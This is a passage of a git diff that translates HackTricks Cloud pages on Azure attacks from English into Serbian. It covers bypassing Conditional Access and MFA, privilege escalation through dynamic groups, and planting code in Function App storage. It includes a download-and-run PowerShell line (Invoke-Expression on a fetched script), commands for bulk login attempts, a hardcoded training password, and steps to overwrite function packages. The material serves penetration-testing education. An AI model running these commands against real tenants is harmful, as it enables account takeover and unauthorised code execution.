||||
--uri "https://graph.microsoft.com/v1.0/informationProtection/bitlocker/recoveryKeys/$recoveryKeyId?\$select=key"
|
||||
--uri "https://graph.microsoft.com/v1.0/informationProtection/bitlocker/recoveryKeys/$recoveryKeyId?\$select=key"
|
||||
```
|
||||
|
||||
## Other Interesting permissions (TODO)
|
||||
## Ostale zanimljive dozvole (TODO)
|
||||
|
||||
- `microsoft.directory/applications/permissions/update`
|
||||
- `microsoft.directory/servicePrincipals/permissions/update`
|
||||
@@ -355,7 +311,3 @@ az rest --method GET \
|
||||
- `microsoft.directory/applications.myOrganization/permissions/update`
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -1,72 +1,70 @@
|
||||
# Az - Conditional Access Policies & MFA Bypass
|
||||
# Az - Politike uslovnog pristupa i MFA zaobilaženje
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Basic Information
|
||||
## Osnovne informacije
|
||||
|
||||
Azure Conditional Access policies are rules set up in Microsoft Azure to enforce access controls to Azure services and applications based on certain **conditions**. These policies help organizations secure their resources by applying the right access controls under the right circumstances.\
|
||||
Conditional access policies basically **defines** **Who** can access **What** from **Where** and **How**.
|
||||
Azure politike uslovnog pristupa su pravila postavljena u Microsoft Azure-u za sprovođenje kontrola pristupa uslugama i aplikacijama u Azure-u na osnovu određenih **uslova**. Ove politike pomažu organizacijama da osiguraju svoje resurse primenom pravih kontrola pristupa pod pravim okolnostima.\
|
||||
Politike uslovnog pristupa u osnovi **definišu** **Ko** može da pristupi **Čemu** iz **Gde** i **Kako**.
|
||||
|
||||
Here are a couple of examples:
|
||||
Evo nekoliko primera:
|
||||
|
||||
1. **Sign-In Risk Policy**: This policy could be set to require multi-factor authentication (MFA) when a sign-in risk is detected. For example, if a user's login behavior is unusual compared to their regular pattern, such as logging in from a different country, the system can prompt for additional authentication.
|
||||
2. **Device Compliance Policy**: This policy can restrict access to Azure services only to devices that are compliant with the organization's security standards. For instance, access could be allowed only from devices that have up-to-date antivirus software or are running a certain operating system version.
|
||||
1. **Politika rizika prijavljivanja**: Ova politika može biti postavljena da zahteva višefaktorsku autentifikaciju (MFA) kada se otkrije rizik prijavljivanja. Na primer, ako je ponašanje korisnika prilikom prijavljivanja neobično u poređenju sa njihovim redovnim obrascem, kao što je prijavljivanje iz druge zemlje, sistem može zatražiti dodatnu autentifikaciju.
|
||||
2. **Politika usklađenosti uređaja**: Ova politika može ograničiti pristup Azure uslugama samo na uređaje koji su usklađeni sa bezbednosnim standardima organizacije. Na primer, pristup može biti dozvoljen samo sa uređaja koji imaju ažuriran antivirusni softver ili koji koriste određenu verziju operativnog sistema.
|
||||
|
||||
## Conditional Acces Policies Bypasses
|
||||
## Zaobilaženje politika uslovnog pristupa
|
||||
|
||||
It's possible that a conditional access policy is **checking some information that can be easily tampered allowing a bypass of the policy**. And if for example the policy was configuring MFA, the attacker will be able to bypass it.
|
||||
Moguće je da politika uslovnog pristupa **proverava neke informacije koje se lako mogu izmeniti, što omogućava zaobilaženje politike**. I ako je, na primer, politika konfigurisala MFA, napadač će moći da je zaobiđe.
|
||||
|
||||
When configuring a conditional access policy it's needed to indicate the **users** affected and **target resources** (like all cloud apps).
|
||||
Prilikom konfigurisanja politike uslovnog pristupa potrebno je naznačiti **korisnike** koji su pogođeni i **ciljne resurse** (kao što su sve cloud aplikacije).
|
||||
|
||||
It's also needed to configure the **conditions** that will **trigger** the policy:
|
||||
Takođe je potrebno konfigurisati **uslove** koji će **pokrenuti** politiku:
|
||||
|
||||
- **Network**: Ip, IP ranges and geographical locations
|
||||
- Can be bypassed using a VPN or Proxy to connect to a country or managing to login from an allowed IP address
|
||||
- **Microsoft risks**: User risk, Sign-in risk, Insider risk
|
||||
- **Device platforms**: Any device or select Android, iOS, Windows phone, Windows, macOS, Linux
|
||||
- If “Any device” is not selected but all the other options are selected it’s possible to bypass it using a random user-agent not related to those platforms
|
||||
- **Client apps**: Option are “Browser”, “Mobiles apps and desktop clients”, “Exchange ActiveSync clients” and Other clients”
|
||||
- To bypass login with a not selected option
|
||||
- **Filter for devices**: It’s possible to generate a rule related the used device
|
||||
- A**uthentication flows**: Options are “Device code flow” and “Authentication transfer”
|
||||
- This won’t affect an attacker unless he is trying to abuse any of those protocols in a phishing attempt to access the victims account
|
||||
- **Mreža**: IP, IP opsezi i geografske lokacije
|
||||
- Može se zaobići korišćenjem VPN-a ili Proxy-a za povezivanje sa zemljom ili uspešnim prijavljivanjem sa dozvoljene IP adrese
|
||||
- **Microsoft rizici**: Rizik korisnika, Rizik prijavljivanja, Rizik unutrašnjeg korisnika
|
||||
- **Platforme uređaja**: Bilo koji uređaj ili odabrati Android, iOS, Windows telefon, Windows, macOS, Linux
|
||||
- Ako “Bilo koji uređaj” nije odabran, ali su sve druge opcije odabrane, moguće je zaobići to koristeći nasumični user-agent koji nije povezan sa tim platformama
|
||||
- **Klijentske aplikacije**: Opcije su “Pregledač”, “Mobilne aplikacije i desktop klijenti”, “Exchange ActiveSync klijenti” i “Ostali klijenti”
|
||||
- Da bi se zaobišao prijavljivanje sa neodabranom opcijom
|
||||
- **Filter za uređaje**: Moguće je generisati pravilo vezano za korišćeni uređaj
|
||||
- **Tokovi autentifikacije**: Opcije su “Tok uređajnog koda” i “Prenos autentifikacije”
|
||||
- Ovo neće uticati na napadača osim ako ne pokušava da zloupotrebi neki od tih protokola u pokušaju phishing-a da pristupi nalogu žrtve
|
||||
|
||||
The possible **results** are: Block or Grant access with potential conditions like require MFA, device to be compliant…
|
||||
Mogući **rezultati** su: Blokirati ili Dodeliti pristup uz potencijalne uslove kao što su zahtevati MFA, uređaj da bude usklađen...
|
||||
|
||||
### Device Platforms - Device Condition
|
||||
### Platforme uređaja - Uslov uređaja
|
||||
|
||||
It's possible to set a condition based on the **device platform** (Android, iOS, Windows, macOS...), however, this is based on the **user-agent** so it's easy to bypass. Even **making all the options enforce MFA**, if you use a **user-agent that it isn't recognized,** you will be able to bypass the MFA or block:
|
||||
Moguće je postaviti uslov zasnovan na **platformi uređaja** (Android, iOS, Windows, macOS...), međutim, ovo se zasniva na **user-agent-u** pa je lako zaobići. Čak i **ako se sve opcije primenjuju MFA**, ako koristite **user-agent koji nije prepoznat**, moći ćete da zaobiđete MFA ili blokadu:
|
||||
|
||||
<figure><img src="../../../../images/image (352).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Just making the browser **send an unknown user-agent** (like `Mozilla/5.0 (compatible; MSIE 10.0; Windows Phone 8.0; Trident/6.0; IEMobile/10.0; ARM; Touch; NOKIA; Lumia 920) UCBrowser/10.1.0.563 Mobile`) is enough to not trigger this condition.\
|
||||
You can change the user agent **manually** in the developer tools:
|
||||
Samo slanjem pregledača **nepoznatog user-agent-a** (kao što je `Mozilla/5.0 (compatible; MSIE 10.0; Windows Phone 8.0; Trident/6.0; IEMobile/10.0; ARM; Touch; NOKIA; Lumia 920) UCBrowser/10.1.0.563 Mobile`) dovoljno je da ne pokrene ovaj uslov.\
|
||||
Možete promeniti user agent **ručno** u alatima za razvoj:
|
||||
|
||||
<figure><img src="../../../../images/image (351).png" alt="" width="375"><figcaption></figcaption></figure>
|
||||
|
||||
 Or use a [browser extension like this one](https://chromewebstore.google.com/detail/user-agent-switcher-and-m/bhchdcejhohfmigjafbampogmaanbfkg?hl=en).
|
||||
 Ili koristiti [proširenje za pregledač poput ovog](https://chromewebstore.google.com/detail/user-agent-switcher-and-m/bhchdcejhohfmigjafbampogmaanbfkg?hl=en).
|
||||
|
||||
### Locations: Countries, IP ranges - Device Condition
|
||||
### Lokacije: Zemlje, IP opsezi - Uslov uređaja
|
||||
|
||||
If this is set in the conditional policy, an attacker could just use a **VPN** in the **allowed country** or try to find a way to access from an **allowed IP address** to bypass these conditions.
|
||||
Ako je ovo postavljeno u uslovnoj politici, napadač bi mogao samo da koristi **VPN** u **dozvoljenoj zemlji** ili pokušati da pronađe način da pristupi sa **dozvoljene IP adrese** kako bi zaobišao ove uslove.
|
||||
|
||||
### Cloud Apps
|
||||
### Cloud aplikacije
|
||||
|
||||
It's possible to configure **conditional access policies to block or force** for example MFA when a user tries to access **specific app**:
|
||||
Moguće je konfigurisati **politike uslovnog pristupa da blokiraju ili primoraju** na primer MFA kada korisnik pokuša da pristupi **određenoj aplikaciji**:
|
||||
|
||||
<figure><img src="../../../../images/image (353).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
To try to bypass this protection you should see if you can **only into any application**.\
|
||||
The tool [**AzureAppsSweep**](https://github.com/carlospolop/AzureAppsSweep) has **tens of application IDs hardcoded** and will try to login into them and let you know and even give you the token if successful.
|
||||
|
||||
In order to **test specific application IDs in specific resources** you could also use a tool such as:
|
||||
Da biste pokušali da zaobiđete ovu zaštitu, trebali biste videti da li možete **samo u bilo koju aplikaciju**.\
|
||||
Alat [**AzureAppsSweep**](https://github.com/carlospolop/AzureAppsSweep) ima **desetine ID-eva aplikacija hardkodiranih** i pokušaće da se prijavi u njih i obavestiće vas, pa čak i dati token ako bude uspešan.
|
||||
|
||||
Da biste **testirali specifične ID-eve aplikacija u specifičnim resursima**, takođe možete koristiti alat kao što je:
|
||||
```bash
|
||||
roadrecon auth -u user@email.com -r https://outlook.office.com/ -c 1fec8e78-bce4-4aaf-ab1b-5451cc387264 --tokens-stdout
|
||||
|
||||
<token>
|
||||
```
|
||||
|
||||
Moreover, it's also possible to protect the login method (e.g. if you are trying to login from the browser or from a desktop application). The tool [**Invoke-MFASweep**](az-conditional-access-policies-mfa-bypass.md#invoke-mfasweep) perform some checks to try to bypass this protections also.
|
||||
|
||||
The tool [**donkeytoken**](az-conditional-access-policies-mfa-bypass.md#donkeytoken) could also be used to similar purposes although it looks unmantained.
|
||||
@@ -87,7 +85,6 @@ One Azure MFA option is to **receive a call in the configured phone number** whe
|
||||
Policies often asks for a compliant device or MFA, so an **attacker could register a compliant device**, get a **PRT** token and **bypass this way the MFA**.
|
||||
|
||||
Start by registering a **compliant device in Intune**, then **get the PRT** with:
|
||||
|
||||
```powershell
|
||||
$prtKeys = Get-AADIntuneUserPRTKeys - PfxFileName .\<uuid>.pfx -Credentials $credentials
|
||||
|
||||
@@ -97,89 +94,72 @@ Get-AADIntAccessTokenForAADGraph -PRTToken $prtToken
|
||||
|
||||
<token returned>
|
||||
```
|
||||
|
||||
Find more information about this kind of attack in the following page:
|
||||
Nađite više informacija o ovoj vrsti napada na sledećoj stranici:
|
||||
|
||||
{{#ref}}
|
||||
../../az-lateral-movement-cloud-on-prem/pass-the-prt.md
|
||||
{{#endref}}
|
||||
|
||||
## Tooling
|
||||
## Alati
|
||||
|
||||
### [**AzureAppsSweep**](https://github.com/carlospolop/AzureAppsSweep)
|
||||
|
||||
This script get some user credentials and check if it can login in some applications.
|
||||
Ovaj skript uzima neke korisničke akreditive i proverava da li može da se prijavi u neke aplikacije.
|
||||
|
||||
This is useful to see if you **aren't required MFA to login in some applications** that you might later abuse to **escalate pvivileges**.
|
||||
Ovo je korisno da se vidi da li **niste obavezni za MFA da se prijavite u neke aplikacije** koje kasnije možete zloupotrebiti da **povećate privilegije**.
|
||||
|
||||
### [roadrecon](https://github.com/dirkjanm/ROADtools)
|
||||
|
||||
Get all the policies
|
||||
|
||||
Dobijte sve politike
|
||||
```bash
|
||||
roadrecon plugin policies
|
||||
```
|
||||
|
||||
### [Invoke-MFASweep](https://github.com/dafthack/MFASweep)
|
||||
|
||||
MFASweep is a PowerShell script that attempts to **log in to various Microsoft services using a provided set of credentials and will attempt to identify if MFA is enabled**. Depending on how conditional access policies and other multi-factor authentication settings are configured some protocols may end up being left single factor. It also has an additional check for ADFS configurations and can attempt to log in to the on-prem ADFS server if detected.
|
||||
|
||||
MFASweep je PowerShell skripta koja pokušava da **prijavi na razne Microsoft usluge koristeći dati skup kredencijala i pokušaće da identifikuje da li je MFA omogućena**. U zavisnosti od toga kako su konfigurisana pravila uslovnog pristupa i druge postavke višefaktorske autentifikacije, neki protokoli mogu ostati sa jednim faktorom. Takođe ima dodatnu proveru za ADFS konfiguracije i može pokušati da se prijavi na lokalni ADFS server ako je otkriven.
|
||||
```bash
|
||||
Invoke-Expression (Invoke-WebRequest -Uri "https://raw.githubusercontent.com/dafthack/MFASweep/master/MFASweep.ps1").Content
|
||||
Invoke-MFASweep -Username <username> -Password <pass>
|
||||
```
|
||||
|
||||
### [ROPCI](https://github.com/wunderwuzzi23/ropci)
|
||||
|
||||
This tool has helped identify MFA bypasses and then abuse APIs in multiple production AAD tenants, where AAD customers believed they had MFA enforced, but ROPC based authentication succeeded.
|
||||
Ovaj alat je pomogao u identifikaciji zaobilaženja MFA i zatim u zloupotrebi API-ja u više produkcionih AAD tenanata, gde su AAD korisnici verovali da imaju MFA primenjen, ali je ROPC zasnovana autentifikacija uspela.
|
||||
|
||||
> [!TIP]
|
||||
> You need to have permissions to list all the applications to be able to generate the list of the apps to brute-force.
|
||||
|
||||
> Potrebno je da imate dozvole da biste mogli da navedete sve aplikacije kako biste generisali listu aplikacija za brute-force.
|
||||
```bash
|
||||
./ropci configure
|
||||
./ropci apps list --all --format json -o apps.json
|
||||
./ropci apps list --all --format json | jq -r '.value[] | [.displayName,.appId] | @csv' > apps.csv
|
||||
./ropci auth bulk -i apps.csv -o results.json
|
||||
```
|
||||
|
||||
### [donkeytoken](https://github.com/silverhack/donkeytoken)
|
||||
|
||||
Donkey token is a set of functions which aim to help security consultants who need to validate Conditional Access Policies, tests for 2FA-enabled Microsoft portals, etc..
|
||||
Donkey token je skup funkcija koje imaju za cilj da pomognu bezbednosnim konsultantima koji treba da validiraju politike uslovnog pristupa, testove za Microsoft portale sa 2FA, itd.
|
||||
|
||||
<pre class="language-powershell"><code class="lang-powershell"><strong>git clone https://github.com/silverhack/donkeytoken.git
|
||||
</strong><strong>Import-Module '.\donkeytoken' -Force
|
||||
</strong></code></pre>
|
||||
|
||||
**Test each portal** if it's possible to **login without MFA**:
|
||||
|
||||
**Testirajte svaki portal** da li je moguće **prijaviti se bez MFA**:
|
||||
```powershell
|
||||
$username = "conditional-access-app-user@azure.training.hacktricks.xyz"
|
||||
$password = ConvertTo-SecureString "Poehurgi78633" -AsPlainText -Force
|
||||
$cred = New-Object System.Management.Automation.PSCredential($username, $password)
|
||||
Invoke-MFATest -credential $cred -Verbose -Debug -InformationAction Continue
|
||||
```
|
||||
|
||||
Because the **Azure** **portal** is **not constrained** it's possible to **gather a token from the portal endpoint to access any service detected** by the previous execution. In this case Sharepoint was identified, and a token to access it is requested:
|
||||
|
||||
Zato što **Azure** **portal** **nije ograničen**, moguće je **prikupiti token sa krajnje tačke portala za pristup bilo kojoj usluzi koja je otkrivena** prethodnom izvršenju. U ovom slučaju, Sharepoint je identifikovan, i traži se token za pristup:
|
||||
```powershell
|
||||
$token = Get-DelegationTokenFromAzurePortal -credential $cred -token_type microsoft.graph -extension_type Microsoft_Intune
|
||||
Read-JWTtoken -token $token.access_token
|
||||
```
|
||||
|
||||
Supposing the token has the permission Sites.Read.All (from Sharepoint), even if you cannot access Sharepoint from the web because of MFA, it's possible to use the token to access the files with the generated token:
|
||||
|
||||
Pretpostavljajući da token ima dozvolu Sites.Read.All (iz Sharepoint-a), čak i ako ne možete pristupiti Sharepoint-u putem veba zbog MFA, moguće je koristiti token za pristup datotekama sa generisanim tokenom:
|
||||
```powershell
|
||||
$data = Get-SharePointFilesFromGraph -authentication $token $data[0].downloadUrl
|
||||
```
|
||||
|
||||
## References
|
||||
|
||||
- [https://www.youtube.com/watch?v=yOJ6yB9anZM\&t=296s](https://www.youtube.com/watch?v=yOJ6yB9anZM&t=296s)
|
||||
- [https://www.youtube.com/watch?v=xei8lAPitX8](https://www.youtube.com/watch?v=xei8lAPitX8)
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -2,28 +2,27 @@
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Basic Information
|
||||
## Osnovne informacije
|
||||
|
||||
**Dynamic groups** are groups that has a set of **rules** configured and all the **users or devices** that match the rules are added to the group. Every time a user or device **attribute** is **changed**, dynamic rules are **rechecked**. And when a **new rule** is **created** all devices and users are **checked**.
|
||||
**Dinamičke grupe** su grupe koje imaju set **pravila** konfigurisanih i svi **korisnici ili uređaji** koji se poklapaju sa pravilima se dodaju u grupu. Svaki put kada se **atribut** korisnika ili uređaja **promeni**, dinamička pravila se **ponovo proveravaju**. A kada se **novo pravilo** **kreira**, svi uređaji i korisnici se **proveravaju**.
|
||||
|
||||
Dynamic groups can have **Azure RBAC roles assigned** to them, but it's **not possible** to add **AzureAD roles** to dynamic groups.
|
||||
Dinamičkim grupama se mogu dodeliti **Azure RBAC uloge**, ali nije **moguće** dodati **AzureAD uloge** dinamičkim grupama.
|
||||
|
||||
This feature requires Azure AD premium P1 license.
|
||||
Ova funkcija zahteva Azure AD premium P1 licencu.
|
||||
|
||||
## Privesc
|
||||
|
||||
Note that by default any user can invite guests in Azure AD, so, If a dynamic group **rule** gives **permissions** to users based on **attributes** that can be **set** in a new **guest**, it's possible to **create a guest** with this attributes and **escalate privileges**. It's also possible for a guest to manage his own profile and change these attributes.
|
||||
Imajte na umu da po defaultu bilo koji korisnik može pozvati goste u Azure AD, tako da, ako dinamička grupa **pravilo** daje **dozvole** korisnicima na osnovu **atributa** koji se mogu **postaviti** kod novog **gosta**, moguće je **kreirati gosta** sa ovim atributima i **escalirati privilegije**. Takođe je moguće da gost upravlja svojim profilom i menja ove atribute.
|
||||
|
||||
Get groups that allow Dynamic membership: **`az ad group list --query "[?contains(groupTypes, 'DynamicMembership')]" --output table`**
|
||||
Dobijte grupe koje omogućavaju dinamičko članstvo: **`az ad group list --query "[?contains(groupTypes, 'DynamicMembership')]" --output table`**
|
||||
|
||||
### Example
|
||||
### Primer
|
||||
|
||||
- **Rule example**: `(user.otherMails -any (_ -contains "security")) -and (user.userType -eq "guest")`
|
||||
- **Rule description**: Any Guest user with a secondary email with the string 'security' will be added to the group
|
||||
|
||||
For the Guest user email, accept the invitation and check the current settings of **that user** in [https://entra.microsoft.com/#view/Microsoft_AAD_IAM/TenantOverview.ReactView](https://entra.microsoft.com/#view/Microsoft_AAD_IAM/TenantOverview.ReactView).\
|
||||
Unfortunately the page doesn't allow to modify the attribute values so we need to use the API:
|
||||
- **Primer pravila**: `(user.otherMails -any (_ -contains "security")) -and (user.userType -eq "guest")`
|
||||
- **Opis pravila**: Bilo koji gost korisnik sa sekundarnim emailom koji sadrži string 'security' biće dodat u grupu
|
||||
|
||||
Za email gost korisnika, prihvatite pozivnicu i proverite trenutne postavke **tog korisnika** na [https://entra.microsoft.com/#view/Microsoft_AAD_IAM/TenantOverview.ReactView](https://entra.microsoft.com/#view/Microsoft_AAD_IAM/TenantOverview.ReactView).\
|
||||
Nažalost, stranica ne dozvoljava modifikaciju vrednosti atributa, tako da moramo koristiti API:
|
||||
```powershell
|
||||
# Login with the gust user
|
||||
az login --allow-no-subscriptions
|
||||
@@ -33,22 +32,17 @@ az ad signed-in-user show
|
||||
|
||||
# Update otherMails
|
||||
az rest --method PATCH \
|
||||
--url "https://graph.microsoft.com/v1.0/users/<user-object-id>" \
|
||||
--headers 'Content-Type=application/json' \
|
||||
--body '{"otherMails": ["newemail@example.com", "anotheremail@example.com"]}'
|
||||
--url "https://graph.microsoft.com/v1.0/users/<user-object-id>" \
|
||||
--headers 'Content-Type=application/json' \
|
||||
--body '{"otherMails": ["newemail@example.com", "anotheremail@example.com"]}'
|
||||
|
||||
# Verify the update
|
||||
az rest --method GET \
|
||||
--url "https://graph.microsoft.com/v1.0/users/<user-object-id>" \
|
||||
--query "otherMails"
|
||||
--url "https://graph.microsoft.com/v1.0/users/<user-object-id>" \
|
||||
--query "otherMails"
|
||||
```
|
||||
|
||||
## References
|
||||
|
||||
- [https://www.mnemonic.io/resources/blog/abusing-dynamic-groups-in-azure-ad-for-privilege-escalation/](https://www.mnemonic.io/resources/blog/abusing-dynamic-groups-in-azure-ad-for-privilege-escalation/)
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -12,33 +12,30 @@ Check the following page for more information:
|
||||
|
||||
### Bucket Read/Write
|
||||
|
||||
With permissions to read the containers inside the Storage Account that stores the function data it's possible to find **different containers** (custom or with pre-defined names) that might contain **the code executed by the function**.
|
||||
Sa dozvolama za čitanje kontejnera unutar Storage Account-a koji čuva podatke funkcije, moguće je pronaći **različite kontejnere** (prilagođene ili sa unapred definisanim imenima) koji mogu sadržati **kod koji izvršava funkcija**.
|
||||
|
||||
Once you find where the code of the function is located if you have write permissions over it you can make the function execute any code and escalate privileges to the managed identities attached to the function.
|
||||
Kada pronađete gde se kod funkcije nalazi, ako imate dozvole za pisanje nad njim, možete naterati funkciju da izvrši bilo koji kod i eskalirati privilegije na upravljane identitete povezane sa funkcijom.
|
||||
|
||||
- **`File Share`** (`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING` and `WEBSITE_CONTENTSHARE)`
|
||||
- **`File Share`** (`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING` i `WEBSITE_CONTENTSHARE`)
|
||||
|
||||
The code of the function is usually stored inside a file share. With enough access it's possible to modify the code file and **make the function load arbitrary code** allowing to escalate privileges to the managed identities attached to the Function.
|
||||
|
||||
This deployment method usually configures the settings **`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING`** and **`WEBSITE_CONTENTSHARE`** which you can get from 
|
||||
Kod funkcije se obično čuva unutar deljenog fajla. Sa dovoljno pristupa, moguće je izmeniti kod fajla i **naterati funkciju da učita proizvoljan kod**, što omogućava eskalaciju privilegija na upravljane identitete povezane sa funkcijom.
|
||||
|
||||
Ova metoda implementacije obično konfiguriše postavke **`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING`** i **`WEBSITE_CONTENTSHARE`** koje možete dobiti od 
|
||||
```bash
|
||||
az functionapp config appsettings list \
|
||||
--name <app-name> \
|
||||
--resource-group <res-group>
|
||||
--name <app-name> \
|
||||
--resource-group <res-group>
|
||||
```
|
||||
|
||||
Those configs will contain the **Storage Account Key** that the Function can use to access the code.
|
||||
Ti konfiguracije će sadržati **Storage Account Key** koji Funkcija može koristiti za pristup kodu.
|
||||
|
||||
> [!CAUTION]
|
||||
> With enough permission to connect to the File Share and **modify the script** running it's possible to execute arbitrary code in the Function and escalate privileges.
|
||||
> Sa dovoljno dozvola za povezivanje na File Share i **modifikovanje skripte** koja se izvršava, moguće je izvršiti proizvoljan kod u Funkciji i eskalirati privilegije.
|
||||
|
||||
The following example uses macOS to connect to the file share, but it's recommended to check also the following page for more info about file shares:
|
||||
Sledeći primer koristi macOS za povezivanje na deljenje datoteka, ali se preporučuje da se takođe proveri sledeća stranica za više informacija o deljenju datoteka:
|
||||
|
||||
{{#ref}}
|
||||
../az-services/az-file-shares.md
|
||||
{{#endref}}
|
||||
|
||||
```bash
|
||||
# Username is the name of the storage account
|
||||
# Password is the Storage Account Key
|
||||
@@ -48,50 +45,46 @@ The following example uses macOS to connect to the file share, but it's recommen
|
||||
|
||||
open "smb://<STORAGE-ACCOUNT>.file.core.windows.net/<FILE-SHARE-NAME>"
|
||||
```
|
||||
|
||||
- **`function-releases`** (`WEBSITE_RUN_FROM_PACKAGE`)
|
||||
|
||||
It's also common to find the **zip releases** inside the folder `function-releases` of the Storage Account container that the function app is using in a container **usually called `function-releases`**.
|
||||
|
||||
Usually this deployment method will set the `WEBSITE_RUN_FROM_PACKAGE` config in:
|
||||
Takođe je uobičajeno pronaći **zip izdanja** unutar fascikle `function-releases` kontejnera Storage Account-a koji funkcijska aplikacija koristi u kontejneru **obično nazvanom `function-releases`**.
|
||||
|
||||
Obično će ova metoda implementacije postaviti `WEBSITE_RUN_FROM_PACKAGE` konfiguraciju u:
|
||||
```bash
|
||||
az functionapp config appsettings list \
|
||||
--name <app-name> \
|
||||
--resource-group <res-group>
|
||||
--name <app-name> \
|
||||
--resource-group <res-group>
|
||||
```
|
||||
|
||||
This config will usually contain a **SAS URL to download** the code from the Storage Account.
|
||||
Ova konfiguracija obično sadrži **SAS URL za preuzimanje** koda iz Storage Account-a.
|
||||
|
||||
> [!CAUTION]
|
||||
> With enough permission to connect to the blob container that **contains the code in zip** it's possible to execute arbitrary code in the Function and escalate privileges.
|
||||
> Sa dovoljno dozvola za povezivanje sa blob kontejnerom koji **sadrži kod u zip-u** moguće je izvršiti proizvoljan kod u Funkciji i eskalirati privilegije.
|
||||
|
||||
- **`github-actions-deploy`** (`WEBSITE_RUN_FROM_PACKAGE)`
|
||||
- **`github-actions-deploy`** (`WEBSITE_RUN_FROM_PACKAGE)`
|
||||
|
||||
Just like in the previous case, if the deployment is done via Github Actions it's possible to find the folder **`github-actions-deploy`** in the Storage Account containing a zip of the code and a SAS URL to the zip in the setting `WEBSITE_RUN_FROM_PACKAGE`.
|
||||
Baš kao u prethodnom slučaju, ako je implementacija izvršena putem Github Actions, moguće je pronaći folder **`github-actions-deploy`** u Storage Account-u koji sadrži zip koda i SAS URL do zip-a u podešavanju `WEBSITE_RUN_FROM_PACKAGE`.
|
||||
|
||||
- **`scm-releases`**`(WEBSITE_CONTENTAZUREFILECONNECTIONSTRING` and `WEBSITE_CONTENTSHARE`)
|
||||
|
||||
With permissions to read the containers inside the Storage Account that stores the function data it's possible to find the container **`scm-releases`**. In there it's possible to find the latest release in **Squashfs filesystem file format** and therefore it's possible to read the code of the function:
|
||||
- **`scm-releases`**`(WEBSITE_CONTENTAZUREFILECONNECTIONSTRING` i `WEBSITE_CONTENTSHARE`)
|
||||
|
||||
Sa dozvolama za čitanje kontejnera unutar Storage Account-a koji čuva podatke funkcije, moguće je pronaći kontejner **`scm-releases`**. Tamo je moguće pronaći najnovije izdanje u **Squashfs filesystem file format** i stoga je moguće pročitati kod funkcije:
|
||||
```bash
|
||||
# List containers inside the storage account of the function app
|
||||
az storage container list \
|
||||
--account-name <acc-name> \
|
||||
--output table
|
||||
--account-name <acc-name> \
|
||||
--output table
|
||||
|
||||
# List files inside one container
|
||||
az storage blob list \
|
||||
--account-name <acc-name> \
|
||||
--container-name <container-name> \
|
||||
--output table
|
||||
--account-name <acc-name> \
|
||||
--container-name <container-name> \
|
||||
--output table
|
||||
|
||||
# Download file
|
||||
az storage blob download \
|
||||
--account-name <res-group> \
|
||||
--container-name scm-releases \
|
||||
--name scm-latest-<app-name>.zip \
|
||||
--file /tmp/scm-latest-<app-name>.zip
|
||||
--account-name <res-group> \
|
||||
--container-name scm-releases \
|
||||
--name scm-latest-<app-name>.zip \
|
||||
--file /tmp/scm-latest-<app-name>.zip
|
||||
|
||||
## Even if it looks like the file is a .zip, it's a Squashfs filesystem
|
||||
|
||||
@@ -105,12 +98,10 @@ unsquashfs -l "/tmp/scm-latest-<app-name>.zip"
|
||||
mkdir /tmp/fs
|
||||
unsquashfs -d /tmp/fs /tmp/scm-latest-<app-name>.zip
|
||||
```
|
||||
|
||||
It's also possible to find the **master and functions keys** stored in the storage account in the container **`azure-webjobs-secrets`** inside the folder **`<app-name>`** in the JSON files you can find inside.
|
||||
Takođe je moguće pronaći **master i functions ključeve** pohranjene u skladišnom računu u kontejneru **`azure-webjobs-secrets`** unutar fascikle **`<app-name>`** u JSON datotekama koje možete pronaći unutra.
|
||||
|
||||
> [!CAUTION]
|
||||
> With enough permission to connect to the blob container that **contains the code in a zip extension file** (which actually is a **`squashfs`**) it's possible to execute arbitrary code in the Function and escalate privileges.
|
||||
|
||||
> Sa dovoljno dozvola za povezivanje sa blob kontejnerom koji **sadrži kod u zip ekstenzijskoj datoteci** (koja zapravo jeste **`squashfs`**) moguće je izvršiti proizvoljan kod u Funkciji i eskalirati privilegije.
|
||||
```bash
|
||||
# Modify code inside the script in /tmp/fs adding your code
|
||||
|
||||
@@ -119,36 +110,30 @@ mksquashfs /tmp/fs /tmp/scm-latest-<app-name>.zip -b 131072 -noappend
|
||||
|
||||
# Upload it to the blob storage
|
||||
az storage blob upload \
|
||||
--account-name <storage-account> \
|
||||
--container-name scm-releases \
|
||||
--name scm-latest-<app-name>.zip \
|
||||
--file /tmp/scm-latest-<app-name>.zip \
|
||||
--overwrite
|
||||
--account-name <storage-account> \
|
||||
--container-name scm-releases \
|
||||
--name scm-latest-<app-name>.zip \
|
||||
--file /tmp/scm-latest-<app-name>.zip \
|
||||
--overwrite
|
||||
```
|
||||
|
||||
### Microsoft.Web/sites/host/listkeys/action
|
||||
|
||||
This permission allows to list the function, master and system keys, but not the host one, of the specified function with:
|
||||
|
||||
Ova dozvola omogućava da se prikažu funkcijski, master i sistemski ključevi, ali ne i host ključ, određene funkcije sa:
|
||||
```bash
|
||||
az functionapp keys list --resource-group <res_group> --name <func-name>
|
||||
```
|
||||
|
||||
With the master key it's also possible to to get the source code in a URL like:
|
||||
|
||||
Sa master ključem je takođe moguće dobiti izvorni kod na URL-u kao što je:
|
||||
```bash
|
||||
# Get "script_href" from
|
||||
az rest --method GET \
|
||||
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/functions?api-version=2024-04-01"
|
||||
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/functions?api-version=2024-04-01"
|
||||
|
||||
# Access
|
||||
curl "<script-href>?code=<master-key>"
|
||||
## Python example:
|
||||
